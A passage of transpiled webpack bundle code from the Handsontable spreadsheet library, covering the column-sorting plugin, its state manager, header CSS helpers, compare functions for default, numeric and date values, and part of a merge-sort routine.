this.pluginKey); var pluginColumnConfig = columnMetaHasPluginSettings ? columnMeta[this.pluginKey] : {}; this.columnMetaCache.set(physicalColumnIndex, Object.assign(storedColumnProperties, pluginMainSettings, pluginColumnConfig)); } /** * Get copy of settings for first cell in the column. * * @private * @param {Number} column Visual column index. * @returns {Object} */ // TODO: Workaround. Inheriting of non-primitive cell meta values doesn't work. Instead of getting properties from // column meta we call this function. }, { key: "getFirstCellSettings", value: function getFirstCellSettings(column) { // TODO: Remove test named: "should not break the dataset when inserted new row" (#5431). var actualBlockTranslationFlag = this.blockPluginTranslation; this.blockPluginTranslation = true; if (this.columnMetaCache.size === 0 || this.columnMetaCache.size < this.hot.countCols()) { this.rebuildColumnMetaCache(); } var cellMeta = this.hot.getCellMeta(0, column); this.blockPluginTranslation = actualBlockTranslationFlag; var cellMetaCopy = Object.create(cellMeta); cellMetaCopy[this.pluginKey] = this.columnMetaCache.get(this.hot.toPhysicalColumn(column)); return cellMetaCopy; } /** * Rebuild the column meta cache for all the columns. * * @private */ }, { key: "rebuildColumnMetaCache", value: function rebuildColumnMetaCache() { var _this9 = this; var numberOfColumns = this.hot.countCols(); if (numberOfColumns === 0) { this.columnMetaCache.clear(); } else { (0, _number.rangeEach)(numberOfColumns - 1, function (visualColumnIndex) { return _this9.setMergedPluginSettings(visualColumnIndex); }); } } /** * Get number of rows which should be sorted. * * @private * @param {Number} numberOfRows Total number of displayed rows. * @returns {Number} */ }, { key: "getNumberOfRowsToSort", value: function getNumberOfRowsToSort(numberOfRows) { var settings = this.hot.getSettings(); // `maxRows` option doesn't take into account `minSpareRows` option in this case. if (settings.maxRows <= numberOfRows) { return settings.maxRows; } return numberOfRows - settings.minSpareRows; } /** * Performs the sorting using a stable sort function basing on internal state of sorting. * * @private */ }, { key: "sortByPresetSortStates", value: function sortByPresetSortStates() { var _this10 = this; if (this.columnStatesManager.isListOfSortedColumnsEmpty()) { this.rowsMapper.clearMap(); return; } var indexesWithData = []; var sortedColumnsList = this.columnStatesManager.getSortedColumns(); var numberOfRows = this.hot.countRows(); // Function `getDataAtCell` won't call the indices translation inside `onModifyRow` callback - we check the `blockPluginTranslation` // flag inside it (we just want to get data not already modified by `columnSorting` plugin translation). this.blockPluginTranslation = true; var getDataForSortedColumns = function getDataForSortedColumns(visualRowIndex) { return (0, _array.arrayMap)(sortedColumnsList, function (physicalColumn) { return _this10.hot.getDataAtCell(visualRowIndex, _this10.hot.toVisualColumn(physicalColumn)); }); }; for (var visualRowIndex = 0; visualRowIndex < this.getNumberOfRowsToSort(numberOfRows); visualRowIndex += 1) { indexesWithData.push([visualRowIndex].concat(getDataForSortedColumns(visualRowIndex))); } (0, _sortService.sort)(indexesWithData, this.pluginKey, (0, _array.arrayMap)(sortedColumnsList, function (physicalColumn) { return _this10.columnStatesManager.getSortOrderOfColumn(physicalColumn); }), (0, _array.arrayMap)(sortedColumnsList, function (physicalColumn) { return _this10.getFirstCellSettings(_this10.hot.toVisualColumn(physicalColumn)); })); // Append spareRows for (var _visualRowIndex = indexesWithData.length; _visualRowIndex < numberOfRows; _visualRowIndex += 1) { indexesWithData.push([_visualRowIndex].concat(getDataForSortedColumns(_visualRowIndex))); } // The blockade of the indices translation is released. this.blockPluginTranslation = false; // Save all indexes to arrayMapper, a completely new sequence is set by the plugin this.rowsMapper._arrayMap = (0, _array.arrayMap)(indexesWithData, function (indexWithData) { return indexWithData[0]; }); } /** * Load saved settings or sort by predefined plugin configuration. * * @private */ }, { key: "loadOrSortBySettings", value: function loadOrSortBySettings() { this.columnMetaCache.clear(); var storedAllSortSettings = this.getAllSavedSortSettings(); if ((0, _object.isObject)(storedAllSortSettings)) { this.sortBySettings(storedAllSortSettings); } else { var allSortSettings = this.hot.getSettings()[this.pluginKey]; this.sortBySettings(allSortSettings); } } /** * Sort the table by provided configuration. * * @private * @param {Object} allSortSettings All sort config settings. Object may contain `initialConfig`, `indicator`, * `sortEmptyCells`, `headerAction` and `compareFunctionFactory` properties. */ }, { key: "sortBySettings", value: function sortBySettings(allSortSettings) { if ((0, _object.isObject)(allSortSettings)) { this.columnStatesManager.updateAllColumnsProperties(allSortSettings); var initialConfig = allSortSettings.initialConfig; if (Array.isArray(initialConfig) || (0, _object.isObject)(initialConfig)) { this.sort(initialConfig); } } else { // Extra render for headers. Their width may change. this.hot.render(); } } /** * Enables the ObserveChanges plugin. * * @private */ }, { key: "enableObserveChangesPlugin", value: function enableObserveChangesPlugin() { var _this = this; this.hot._registerTimeout(setTimeout(function () { _this.hot.updateSettings({ observeChanges: true }); }, 0)); } /** * Callback for `modifyRow` hook. Translates visual row index to the sorted row index. * * @private * @param {Number} row Visual row index. * @returns {Number} Physical row index. */ }, { key: "onModifyRow", value: function onModifyRow(row, source) { if (this.blockPluginTranslation === false && source !== this.pluginName && this.isSorted()) { var rowInMapper = this.rowsMapper.getValueByIndex(row); row = rowInMapper === null ? row : rowInMapper; } return row; } /** * Callback for `unmodifyRow` hook. Translates sorted row index to visual row index. * * @private * @param {Number} row Physical row index. * @returns {Number} Visual row index. */ }, { key: "onUnmodifyRow", value: function onUnmodifyRow(row, source) { if (this.blockPluginTranslation === false && source !== this.pluginName && this.isSorted()) { row = this.rowsMapper.getIndexByValue(row); } return row; } /** * Callback for the `onAfterGetColHeader` hook. Adds column sorting CSS classes. * * @private * @param {Number} column Visual column index. * @param {Element} TH TH HTML element. */ }, { key: "onAfterGetColHeader", value: function onAfterGetColHeader(column, TH) { var headerSpanElement = (0, _utils.getHeaderSpanElement)(TH); if ((0, _utils.isFirstLevelColumnHeader)(column, TH) === false || headerSpanElement === null) { return; } var physicalColumn = this.hot.toPhysicalColumn(column); var pluginSettingsForColumn = this.getFirstCellSettings(column)[this.pluginKey]; var showSortIndicator = pluginSettingsForColumn.indicator; var headerActionEnabled = pluginSettingsForColumn.headerAction; this.updateHeaderClasses(headerSpanElement, this.columnStatesManager, physicalColumn, showSortIndicator, headerActionEnabled); } /** * Update header classes. * * @private * @param {HTMLElement} headerSpanElement Header span element. * @param {...*} args Extra arguments for helpers. */ }, { key: "updateHeaderClasses", value: function updateHeaderClasses(headerSpanElement) { (0, _element.removeClass)(headerSpanElement, (0, _domHelpers.getClassedToRemove)(headerSpanElement)); if (this.enabled !== false) { for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { args[_key - 1] = arguments[_key]; } (0, _element.addClass)(headerSpanElement, _domHelpers.getClassesToAdd.apply(void 0, args)); } } /** * Overwriting base plugin's `onUpdateSettings` method. Please keep in mind that `onAfterUpdateSettings` isn't called * for `updateSettings` in specific situations. * * @private * @param {Object} newSettings New settings object. */ }, { key: "onUpdateSettings", value: function onUpdateSettings(newSettings) { _get(_getPrototypeOf(ColumnSorting.prototype), "onUpdateSettings", this).call(this); this.columnMetaCache.clear(); if ((0, _mixed.isDefined)(newSettings[this.pluginKey])) { this.sortBySettings(newSettings[this.pluginKey]); } } /** * Callback for the `afterLoadData` hook. * * @private * @param {Boolean} initialLoad flag that determines whether the data has been loaded during the initialization. */ }, { key: "onAfterLoadData", value: function onAfterLoadData(initialLoad) { this.rowsMapper.clearMap(); this.columnMetaCache.clear(); if (initialLoad === true) { // TODO: Workaround? It should be refactored / described. if (this.hot.view) { this.loadOrSortBySettings(); } } } /** * Callback for the `afterCreateRow` hook. * * @private * @param {Number} index Visual index of the created row. * @param {Number} amount Amount of created rows. */ }, { key: "onAfterCreateRow", value: function onAfterCreateRow(index, amount) { this.rowsMapper.shiftItems(index, amount); } /** * Callback for the `afterRemoveRow` hook. * * @private * @param {Number} removedRows Visual indexes of the removed row. * @param {Number} amount Amount of removed rows. */ }, { key: "onAfterRemoveRow", value: function onAfterRemoveRow(removedRows, amount) { this.rowsMapper.unshiftItems(removedRows, amount); } // TODO: Workaround. Inheriting of non-primitive cell meta values doesn't work. We clear the cache after action which reorganize sequence of columns. // TODO: Remove test named: "should add new columns properly when the `columnSorting` plugin is enabled (inheriting of non-primitive cell meta values)". /** * Callback for the `afterCreateCol` hook. * * @private */ }, { key: "onAfterCreateCol", value: function onAfterCreateCol() { this.columnMetaCache.clear(); } // TODO: Workaround. Inheriting of non-primitive cell meta values doesn't work. We clear the cache after action which reorganize sequence of columns. // TODO: Remove test named: "should add new columns properly when the `columnSorting` plugin is enabled (inheriting of non-primitive cell meta values)". /** * Callback for the `afterRemoveCol` hook. * * @private */ }, { key: "onAfterRemoveCol", value: function onAfterRemoveCol() { this.columnMetaCache.clear(); } /** * Indicates if clickable header was clicked. * * @private * @param {MouseEvent} event The `mousedown` event. * @param {Number} column Visual column index. * @returns {Boolean} */ }, { key: "wasClickableHeaderClicked", value: function wasClickableHeaderClicked(event, column) { var pluginSettingsForColumn = this.getFirstCellSettings(column)[this.pluginKey]; var headerActionEnabled = pluginSettingsForColumn.headerAction; return headerActionEnabled && event.realTarget.nodeName === 'SPAN'; } /** * Changes the behavior of selection / dragging. * * @private * @param {MouseEvent} event The `mousedown` event. * @param {CellCoords} coords Visual coordinates. * @param {HTMLElement} TD * @param {Object} blockCalculations */ }, { key: "onBeforeOnCellMouseDown", value: function onBeforeOnCellMouseDown(event, coords, TD, blockCalculations) { if ((0, _utils.wasHeaderClickedProperly)(coords.row, coords.col, event) === false) { return; } if (this.wasClickableHeaderClicked(event, coords.col) && (0, _keyStateObserver.isPressedCtrlKey)()) { blockCalculations.column = true; } } /** * Callback for the `onAfterOnCellMouseDown` hook. * * @private * @param {Event} event Event which are provided by hook. * @param {CellCoords} coords Visual coords of the selected cell. */ }, { key: "onAfterOnCellMouseDown", value: function onAfterOnCellMouseDown(event, coords) { if ((0, _utils.wasHeaderClickedProperly)(coords.row, coords.col, event) === false) { return; } if (this.wasClickableHeaderClicked(event, coords.col)) { if ((0, _keyStateObserver.isPressedCtrlKey)()) { this.hot.deselectCell(); this.hot.selectColumns(coords.col); } this.sort(this.getColumnNextConfig(coords.col)); } } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { this.rowsMapper.destroy(); this.columnStatesManager.destroy(); _get(_getPrototypeOf(ColumnSorting.prototype), "destroy", this).call(this); } }]); return ColumnSorting; }(_base.default); (0, _plugins.registerPlugin)(PLUGIN_KEY, ColumnSorting); var _default = ColumnSorting; exports.default = _default; /***/ }), /* 672 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.ColumnStatesManager = void 0; var _object = __webpack_require__(2); var _array = __webpack_require__(3); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var inheritedColumnProperties = ['sortEmptyCells', 'indicator', 'headerAction', 'compareFunctionFactory']; var SORT_EMPTY_CELLS_DEFAULT = false; var SHOW_SORT_INDICATOR_DEFAULT = true; var HEADER_ACTION_DEFAULT = true; /** * Store and manages states of sorted columns. * * @class ColumnStatesManager * @plugin ColumnSorting */ // eslint-disable-next-line import/prefer-default-export var ColumnStatesManager = /*#__PURE__*/ function () { function ColumnStatesManager() { _classCallCheck(this, ColumnStatesManager); /** * Queue of sort states containing sorted columns and their orders (Array of objects containing `column` and `sortOrder` properties). * * @type {Array} */ this.sortedColumnsStates = []; /** * Determines whether we should sort empty cells. * * @type {Boolean} */ this.sortEmptyCells = SORT_EMPTY_CELLS_DEFAULT; /** * Determines whether indicator should be visible (for sorted columns). * * @type {Boolean} */ this.indicator = SHOW_SORT_INDICATOR_DEFAULT; /** * Determines whether click on the header perform sorting. * * @type {Boolean} */ this.headerAction = HEADER_ACTION_DEFAULT; /** * Determines compare function factory. Method get as parameters `sortOder` and `columnMeta` and return compare function. */ this.compareFunctionFactory = void 0; } /** * Update column properties which affect the sorting result. * * **Note**: All column properties can be overwritten by [columns](https://docs.handsontable.com/pro/Options.html#columns) option. * * @param {Object} allSortSettings Column sorting plugin's configuration object. */ _createClass(ColumnStatesManager, [{ key: "updateAllColumnsProperties", value: function updateAllColumnsProperties(allSortSettings) { var _this = this; if (!(0, _object.isObject)(allSortSettings)) { return; } (0, _object.objectEach)(allSortSettings, function (newValue, propertyName) { if (inheritedColumnProperties.includes(propertyName)) { _this[propertyName] = newValue; } }); } /** * Get all column properties which affect the sorting result. * * @returns {Object} */ }, { key: "getAllColumnsProperties", value: function getAllColumnsProperties() { var columnProperties = { sortEmptyCells: this.sortEmptyCells, indicator: this.indicator, headerAction: this.headerAction }; if (typeof this.compareFunctionFactory === 'function') { columnProperties.compareFunctionFactory = this.compareFunctionFactory; } return columnProperties; } /** * Get index of first sorted column. * * @returns {Number|undefined} */ }, { key: "getFirstSortedColumn", value: function getFirstSortedColumn() { var firstSortedColumn; if (this.getNumberOfSortedColumns() > 0) { firstSortedColumn = this.sortedColumnsStates[0].column; } return firstSortedColumn; } /** * Get sort order of column. * * @param {Number} searchedColumn Physical column index. * @returns {String|undefined} Sort order (`asc` for ascending, `desc` for descending and undefined for not sorted). */ }, { key: "getSortOrderOfColumn", value: function getSortOrderOfColumn(searchedColumn) { var searchedState = this.sortedColumnsStates.find(function (_ref) { var column = _ref.column; return searchedColumn === column; }); var sortOrder; if ((0, _object.isObject)(searchedState)) { sortOrder = searchedState.sortOrder; } return sortOrder; } /** * Get list of sorted columns. * * @returns {Array} */ }, { key: "getSortedColumns", value: function getSortedColumns() { return (0, _array.arrayMap)(this.sortedColumnsStates, function (_ref2) { var column = _ref2.column; return column; }); } /** * Get order of particular column in the states queue. * * @param {Number} column Physical column index. * @returns {Number} */ }, { key: "getIndexOfColumnInSortQueue", value: function getIndexOfColumnInSortQueue(column) { return this.getSortedColumns().indexOf(column); } /** * Get number of sorted columns. * * @returns {Number} */ }, { key: "getNumberOfSortedColumns", value: function getNumberOfSortedColumns() { return this.sortedColumnsStates.length; } /** * Get if list of sorted columns is empty. * * @returns {Boolean} */ }, { key: "isListOfSortedColumnsEmpty", value: function isListOfSortedColumnsEmpty() { return this.getNumberOfSortedColumns() === 0; } /** * Get if particular column is sorted. * * @param {Number} column Physical column index. * @returns {Boolean} */ }, { key: "isColumnSorted", value: function isColumnSorted(column) { return this.getSortedColumns().includes(column); } /** * Get states for all sorted columns. * * @returns {Array} */ }, { key: "getSortStates", value: function getSortStates() { return (0, _object.deepClone)(this.sortedColumnsStates); } /** * Get sort state for particular column. Object contains `column` and `sortOrder` properties. * * **Note**: Please keep in mind that returned objects expose **physical** column index under the `column` key. * * @param {Number} column Physical column index. * @returns {Object|undefined} */ }, { key: "getColumnSortState", value: function getColumnSortState(column) { if (this.isColumnSorted(column)) { return (0, _object.deepClone)(this.sortedColumnsStates[this.getIndexOfColumnInSortQueue(column)]); } } /** * Set all sorted columns states. * * @param {Array} sortStates */ }, { key: "setSortStates", value: function setSortStates(sortStates) { this.sortedColumnsStates = sortStates; } /** * Destroy the state manager. */ }, { key: "destroy", value: function destroy() { this.sortedColumnsStates.length = 0; this.sortedColumnsStates = null; } }]); return ColumnStatesManager; }(); exports.ColumnStatesManager = ColumnStatesManager; /***/ }), /* 673 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.getClassesToAdd = getClassesToAdd; exports.getClassedToRemove = getClassedToRemove; var _utils = __webpack_require__(432); /* eslint-disable import/prefer-default-export */ var HEADER_CLASS_ASC_SORT = 'ascending'; var HEADER_CLASS_DESC_SORT = 'descending'; var HEADER_CLASS_INDICATOR_DISABLED = 'indicatorDisabled'; var HEADER_SORT_CLASS = 'columnSorting'; var HEADER_ACTION_CLASS = 'sortAction'; var orderToCssClass = new Map([[_utils.ASC_SORT_STATE, HEADER_CLASS_ASC_SORT], [_utils.DESC_SORT_STATE, HEADER_CLASS_DESC_SORT]]); /** * Get CSS classes which should be added to particular column header. * @param {Object} columnStatesManager Instance of column state manager. * @param {Number} column Physical column index. * @param {Boolean} showSortIndicator Indicates if indicator should be shown for the particular column. * @param {Boolean} headerAction Indicates if header click to sort should be possible. * @returns {Array} Array of CSS classes. */ function getClassesToAdd(columnStatesManager, column, showSortIndicator, headerAction) { var cssClasses = [HEADER_SORT_CLASS]; if (headerAction) { cssClasses.push(HEADER_ACTION_CLASS); } if (showSortIndicator === false) { cssClasses.push(HEADER_CLASS_INDICATOR_DISABLED); } else if (columnStatesManager.isColumnSorted(column)) { var columnOrder = columnStatesManager.getSortOrderOfColumn(column); cssClasses.push(orderToCssClass.get(columnOrder)); } return cssClasses; } /** * Get CSS classes which should be removed from column header. * * @returns {Array} Array of CSS classes. */ function getClassedToRemove() { return Array.from(orderToCssClass.values()).concat(HEADER_ACTION_CLASS, HEADER_CLASS_INDICATOR_DISABLED, HEADER_SORT_CLASS); } /***/ }), /* 674 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _arrayMapper = _interopRequireDefault(__webpack_require__(125)); var _object = __webpack_require__(2); var _number = __webpack_require__(9); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class RowsMapper */ var RowsMapper = /*#__PURE__*/ function () { function RowsMapper() { _classCallCheck(this, RowsMapper); } _createClass(RowsMapper, [{ key: "createMap", /** * Reset current map array and create new one. * * @param {Number} [length] Custom generated map length. */ value: function createMap(length) { var _this = this; var originLength = length === void 0 ? this._arrayMap.length : length; this._arrayMap.length = 0; (0, _number.rangeEach)(originLength - 1, function (itemIndex) { _this._arrayMap[itemIndex] = itemIndex; }); } /** * Destroy class. */ }, { key: "destroy", value: function destroy() { this._arrayMap = null; } }]); return RowsMapper; }(); (0, _object.mixin)(RowsMapper, _arrayMapper.default); var _default = RowsMapper; exports.default = _default; /***/ }), /* 675 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.rootComparator = rootComparator; var _sortService = __webpack_require__(78); function _toArray(arr) { return _arrayWithHoles(arr) || _iterableToArray(arr) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } /** * Sort comparator handled by conventional sort algorithm. * * @param {Array} sortOrders Sort orders (`asc` for ascending, `desc` for descending). * @param {Array} columnMetas Column meta objects. * @returns {Function} */ function rootComparator(sortingOrders, columnMetas) { return function (rowIndexWithValues, nextRowIndexWithValues) { // We sort array of arrays. Single array is in form [rowIndex, ...values]. // We compare just values, stored at second index of array. var _rowIndexWithValues = _toArray(rowIndexWithValues), values = _rowIndexWithValues.slice(1); var _nextRowIndexWithValu = _toArray(nextRowIndexWithValues), nextValues = _nextRowIndexWithValu.slice(1); return function getCompareResult(column) { var sortingOrder = sortingOrders[column]; var columnMeta = columnMetas[column]; var value = values[column]; var nextValue = nextValues[column]; var pluginSettings = columnMeta.columnSorting; var compareFunctionFactory = pluginSettings.compareFunctionFactory ? pluginSettings.compareFunctionFactory : (0, _sortService.getCompareFunctionFactory)(columnMeta.type); var compareResult = compareFunctionFactory(sortingOrder, columnMeta, pluginSettings)(value, nextValue); // DIFF - MultiColumnSorting & ColumnSorting: removed iteration through next sorted columns. return compareResult; }(0); }; } /***/ }), /* 676 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.compareFunctionFactory = compareFunctionFactory; exports.COLUMN_DATA_TYPE = void 0; var _mixed = __webpack_require__(14); var _sortService = __webpack_require__(78); /* eslint-disable import/prefer-default-export */ /** * Default sorting compare function factory. Method get as parameters `sortOrder` and `columnMeta` and return compare function. * * @param {String} sortOrder Sort order (`asc` for ascending, `desc` for descending). * @param {Object} columnMeta Column meta object. * @param {Object} columnPluginSettings Plugin settings for the column. * @returns {Function} The compare function. */ function compareFunctionFactory(sortOrder, columnMeta, columnPluginSettings) { return function (value, nextValue) { var sortEmptyCells = columnPluginSettings.sortEmptyCells; if (typeof value === 'string') { value = value.toLowerCase(); } if (typeof nextValue === 'string') { nextValue = nextValue.toLowerCase(); } if (value === nextValue) { return _sortService.DO_NOT_SWAP; } if ((0, _mixed.isEmpty)(value)) { if ((0, _mixed.isEmpty)(nextValue)) { return _sortService.DO_NOT_SWAP; } // Just fist value is empty and `sortEmptyCells` option was set if (sortEmptyCells) { return sortOrder === 'asc' ? _sortService.FIRST_BEFORE_SECOND : _sortService.FIRST_AFTER_SECOND; } return _sortService.FIRST_AFTER_SECOND; } if ((0, _mixed.isEmpty)(nextValue)) { // Just second value is empty and `sortEmptyCells` option was set if (sortEmptyCells) { return sortOrder === 'asc' ? _sortService.FIRST_AFTER_SECOND : _sortService.FIRST_BEFORE_SECOND; } return _sortService.FIRST_BEFORE_SECOND; } if (isNaN(value) && !isNaN(nextValue)) { return sortOrder === 'asc' ? _sortService.FIRST_AFTER_SECOND : _sortService.FIRST_BEFORE_SECOND; } else if (!isNaN(value) && isNaN(nextValue)) { return sortOrder === 'asc' ? _sortService.FIRST_BEFORE_SECOND : _sortService.FIRST_AFTER_SECOND; } else if (!(isNaN(value) || isNaN(nextValue))) { value = parseFloat(value); nextValue = parseFloat(nextValue); } if (value < nextValue) { return sortOrder === 'asc' ? _sortService.FIRST_BEFORE_SECOND : _sortService.FIRST_AFTER_SECOND; } if (value > nextValue) { return sortOrder === 'asc' ? _sortService.FIRST_AFTER_SECOND : _sortService.FIRST_BEFORE_SECOND; } return _sortService.DO_NOT_SWAP; }; } var COLUMN_DATA_TYPE = 'default'; exports.COLUMN_DATA_TYPE = COLUMN_DATA_TYPE; /***/ }), /* 677 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.compareFunctionFactory = compareFunctionFactory; exports.COLUMN_DATA_TYPE = void 0; var _mixed = __webpack_require__(14); var _sortService = __webpack_require__(78); /* eslint-disable import/prefer-default-export */ /** * Numeric sorting compare function factory. Method get as parameters `sortOrder` and `columnMeta` and return compare function. * * @param {String} sortOrder Sort order (`asc` for ascending, `desc` for descending). * @param {Object} columnMeta Column meta object. * @param {Object} columnPluginSettings Plugin settings for the column. * @returns {Function} The compare function. */ function compareFunctionFactory(sortOrder, columnMeta, columnPluginSettings) { return function (value, nextValue) { var parsedFirstValue = parseFloat(value); var parsedSecondValue = parseFloat(nextValue); var sortEmptyCells = columnPluginSettings.sortEmptyCells; // Watch out when changing this part of code! Check below returns 0 (as expected) when comparing empty string, null, undefined if (parsedFirstValue === parsedSecondValue || isNaN(parsedFirstValue) && isNaN(parsedSecondValue)) { return _sortService.DO_NOT_SWAP; } if (sortEmptyCells) { if ((0, _mixed.isEmpty)(value)) { return sortOrder === 'asc' ? _sortService.FIRST_BEFORE_SECOND : _sortService.FIRST_AFTER_SECOND; } if ((0, _mixed.isEmpty)(nextValue)) { return sortOrder === 'asc' ? _sortService.FIRST_AFTER_SECOND : _sortService.FIRST_BEFORE_SECOND; } } if (isNaN(parsedFirstValue)) { return _sortService.FIRST_AFTER_SECOND; } if (isNaN(parsedSecondValue)) { return _sortService.FIRST_BEFORE_SECOND; } if (parsedFirstValue < parsedSecondValue) { return sortOrder === 'asc' ? _sortService.FIRST_BEFORE_SECOND : _sortService.FIRST_AFTER_SECOND; } else if (parsedFirstValue > parsedSecondValue) { return sortOrder === 'asc' ? _sortService.FIRST_AFTER_SECOND : _sortService.FIRST_BEFORE_SECOND; } return _sortService.DO_NOT_SWAP; }; } var COLUMN_DATA_TYPE = 'numeric'; exports.COLUMN_DATA_TYPE = COLUMN_DATA_TYPE; /***/ }), /* 678 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.compareFunctionFactory = compareFunctionFactory; exports.COLUMN_DATA_TYPE = void 0; var _moment = _interopRequireDefault(__webpack_require__(67)); var _mixed = __webpack_require__(14); var _sortService = __webpack_require__(78); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /* eslint-disable import/prefer-default-export */ /** * Date sorting compare function factory. Method get as parameters `sortOrder` and `columnMeta` and return compare function. * * @param {String} sortOrder Sort order (`asc` for ascending, `desc` for descending). * @param {Object} columnMeta Column meta object. * @param {Object} columnPluginSettings Plugin settings for the column. * @returns {Function} The compare function. */ function compareFunctionFactory(sortOrder, columnMeta, columnPluginSettings) { return function (value, nextValue) { var sortEmptyCells = columnPluginSettings.sortEmptyCells; if (value === nextValue) { return _sortService.DO_NOT_SWAP; } if ((0, _mixed.isEmpty)(value)) { if ((0, _mixed.isEmpty)(nextValue)) { return _sortService.DO_NOT_SWAP; } // Just fist value is empty and `sortEmptyCells` option was set if (sortEmptyCells) { return sortOrder === 'asc' ? _sortService.FIRST_BEFORE_SECOND : _sortService.FIRST_AFTER_SECOND; } return _sortService.FIRST_AFTER_SECOND; } if ((0, _mixed.isEmpty)(nextValue)) { // Just second value is empty and `sortEmptyCells` option was set if (sortEmptyCells) { return sortOrder === 'asc' ? _sortService.FIRST_AFTER_SECOND : _sortService.FIRST_BEFORE_SECOND; } return _sortService.FIRST_BEFORE_SECOND; } var dateFormat = columnMeta.dateFormat; var firstDate = (0, _moment.default)(value, dateFormat); var nextDate = (0, _moment.default)(nextValue, dateFormat); if (!firstDate.isValid()) { return _sortService.FIRST_AFTER_SECOND; } if (!nextDate.isValid()) { return _sortService.FIRST_BEFORE_SECOND; } if (nextDate.isAfter(firstDate)) { return sortOrder === 'asc' ? _sortService.FIRST_BEFORE_SECOND : _sortService.FIRST_AFTER_SECOND; } if (nextDate.isBefore(firstDate)) { return sortOrder === 'asc' ? _sortService.FIRST_AFTER_SECOND : _sortService.FIRST_BEFORE_SECOND; } return _sortService.DO_NOT_SWAP; }; } var COLUMN_DATA_TYPE = 'date'; exports.COLUMN_DATA_TYPE = COLUMN_DATA_TYPE; /***/ }), /* 679 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.sort = sort; exports.FIRST_AFTER_SECOND = exports.FIRST_BEFORE_SECOND = exports.DO_NOT_SWAP = void 0; var _mergeSort = _interopRequireDefault(__webpack_require__(680)); var _registry = __webpack_require__(433); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var DO_NOT_SWAP = 0; exports.DO_NOT_SWAP = DO_NOT_SWAP; var FIRST_BEFORE_SECOND = -1; exports.FIRST_BEFORE_SECOND = FIRST_BEFORE_SECOND; var FIRST_AFTER_SECOND = 1; exports.FIRST_AFTER_SECOND = FIRST_AFTER_SECOND; function sort(indexesWithData, rootComparatorId) { var rootComparator = (0, _registry.getRootComparator)(rootComparatorId); for (var _len = arguments.length, argsForRootComparator = new Array(_len > 2 ? _len - 2 : 0), _key = 2; _key < _len; _key++) { argsForRootComparator[_key - 2] = arguments[_key]; } (0, _mergeSort.default)(indexesWithData, rootComparator.apply(void 0, argsForRootComparator)); } /***/ }), /* 680 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = mergeSort; var _linkedList = _interopRequireDefault(__webpack_require__(681)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /** * Refactored implementation of mergeSort (part of javascript-algorithms project) by Github users: * mgechev, AndriiHeonia and lekkas (part of javascript-algorithms project - all project contributors * at repository website) * * Link to repository: https://github.com/mgechev/javascript-algorithms */ /** * Specifies a function that defines the sort order. The array is sorted according to each * character's Unicode code point value, according to the string conversion of each element. * * @param a {*} first compared element. * @param b {*} second compared element. * @returns {Number} */ var defaultCompareFunction = function defaultCompareFunction(a, b) { // sort lexically var firstValue = a.toString(); var secondValue = b.toString(); if (firstValue === secondValue) { return 0; } else if (firstValue < secondValue) { return -1; } return 1; }; /** * Mergesort method which is recursively called for sorting the input array. * * @param {Array} array The array which should be sorted. * @param {Function} compareFunction Compares two items in an array. If compareFunction is not supplied, * elements are sorted by converting them to strings and comparing strings in Unicode code point order. * @param {Number} startIndex Left side of the subarray. * @param {Number} endIndex Right side of the subarray. * @returns {Array} Array with sorted subarray. */ function mergeSort(array) { var compareFunction = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : defaultCompareFunction; var startIndex = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0; var endIndex = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : array.length; if (Math.abs(endIndex - startIndex) <= 1) { return []; } var middleIndex = Math.ceil((startIndex + endIndex) / 2); mergeSort(array, compareFunction, startIndex, middleIndex); mergeSort(array, compareFunction, middleIndex, endIndex); return merge(array, compareFunction, startIndex, middleIndex, endIndex); } /** * Devides and sort merges two subarrays of given array * * @param {Array} array The array which subarrays should be sorted. * @param {Number} startIndex The start of the first subarray. * This subarray is with end middle - 1. * @param {Number} middleIndex The start of the second array. * @param {Number} endIndex end - 1 is the end of the second array. * @returns {Array} The array with sorted subarray. */ function merge(array, compareFunction, startIndex, middleIndex, endIndex) { var leftElements = new _linkedList.default(); var rightElements = new _linkedList.default(); var leftSize = 